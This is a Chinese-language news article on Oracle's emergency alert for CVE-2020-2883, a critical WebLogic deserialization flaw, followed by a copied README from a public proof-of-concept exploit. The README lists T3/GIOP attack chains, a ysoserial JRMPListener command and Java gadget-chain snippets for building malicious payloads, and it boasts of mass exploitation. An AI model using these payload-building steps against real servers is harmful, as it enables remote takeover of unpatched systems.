企业软件巨头甲骨文5月1日晚上发布了紧急安全警报,敦促运行WebLogic服务器的公司安装公司于4月中旬发布的最新补丁。
甲骨文表示,已收到有关利用CVE-2020-2883(其WebLogic企业产品中的漏洞)的尝试攻击的报告。
WebLogic是基于Java的中间件服务器,位于前端应用程序和数据库系统之间,可重新路由用户请求并返回所需的数据。它是一种非常流行的中间件解决方案,目前有成千上万的服务器在线运行。
CVE-2020-2883漏洞是一个危险的漏洞,在CVSSv3漏洞严重性等级中的满分为9.8,满分为10。
该漏洞已秘密报告给Oracle,它使威胁者可以通过其专有的T3协议将恶意有效载荷发送到WebLogic服务器。
当服务器接收数据并以不安全的方式对数据进行解包(反序列化)时,即在基础WebLogic核心上运行恶意代码时,就会发生攻击,从而使黑客能够控制未打补丁的系统。
Oracle表示,无需用户身份验证或交互即可利用此bug。这使CVE-2020-2883成为集成基于Web的自动化攻击工具和僵尸网络操作的理想之选。
Oracle 在4月14日发布的季度安全更新中修复了该错误:
https://www.oracle.com/security-alerts/cpuapr2020.html
Oracle 2020年4月的关键补丁更新(CPU)解决了将近400个漏洞,其中包括CVE-2020-2883,这是Oracle WebLogic Server中的一个关键缺陷,未经身份验证的攻击者可以利用它来远程执行代码。
甲骨文赞扬了一些人独立报告了此漏洞,包括Viettel Cyber Security的Bui Duong,VNPT ISC的Jang,Kaki King,齐安新集团的lufei和VNPT ISC的Quynh Le。
Quynh Le通过趋势科技的零日活动(ZDI)向Oracle报告了他的发现,该活动最近发布了通报,描述了研究人员在2月和3月确定的CVE-2020-2883的两种变体。
T3协议的处理过程中存在特定缺陷。T3协议消息中的虚构数据可以触发不可信数据的反序列化。攻击者可以利用此漏洞在当前进程的上下文中执行代码。
在一天后的GitHub上发布了利用CVE-2020-2883错误的概念验证代码之后,当前的在野利用尝试攻击已经开始。
甲骨文表示,也有针对上个月补丁的其他漏洞的利用尝试,但该公司特别强调了WebLogic漏洞。
这是因为,在最近几年,黑客已经不断示于武器化和利用的WebLogic漏洞。
黑客组织一直在利用这些漏洞劫持WebLogic服务器,以运行加密货币矿工或破坏公司网络并安装勒索软件。
CVE-2020-2883几乎可以肯定会加入CVE-2019-2729,CVE-2019-2725,CVE-2018-2893,CVE-2018-2628和CVE-2017-10271,成为野外利用最多的WebLogic漏洞之一。
Weblogic RCE漏洞利用POC
https://github.com/hktalent/CVE_2020_2546
1,Weblogic RCE漏洞利用
CVE_2020_2546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3有效载荷利用POC python3
2,利用
GIOP +发送绑定(CVE-2020-2555,CVE-2019-2888,CVE-2019-2888 <XXE + SSRF" data-textnode-index="25" data-index="1505" >>或其他)
GIOP +发送jta(rmi或其他)
GIOP +发送jta + SSRF
T3 +发送jta
T3 +发送jta + SSRF
T3 +发送XXE
T3 +发送XXE + SSRF
2.1,rmi服务器,请参阅
不要使用org.mozilla.classfile.DefiningClassLoader
不要使用java -cp $ mtx /../ tools / ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21'whoami'更多信息:https : //github.com/hktalent/CVE -2020-2551
3,代码
3.1,代码1
MVEL.compileExpressionMvelExtractor o = new MvelExtractor("xxx;"); ObjectOutputStream oo = new ObjectOutputStream(System.out); oo.writeObject(o); oo.flush();
3.2,代码2
public MsgOutput getObject(final String command) throws Exception { String jndiAddress = command; JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName(jndiAddress); MsgOutput remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), MsgOutput.class); return remote; }
3.3,代码3
public IORDelegate getObject(final String command) throws Exception {IORDelegate ior = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", new Jdk7u21().getObject("whoami")), IORDelegate.class); return ior; }
3.4,代码4
weblogic.iiop.IIOPRemoteRefd,ObjectMessageImpl
4,CVE-2020-2546有效载荷
批量一波,成功无数
5,谢谢
@ r4v3zn @ 0nise
共建网络安全命运共同体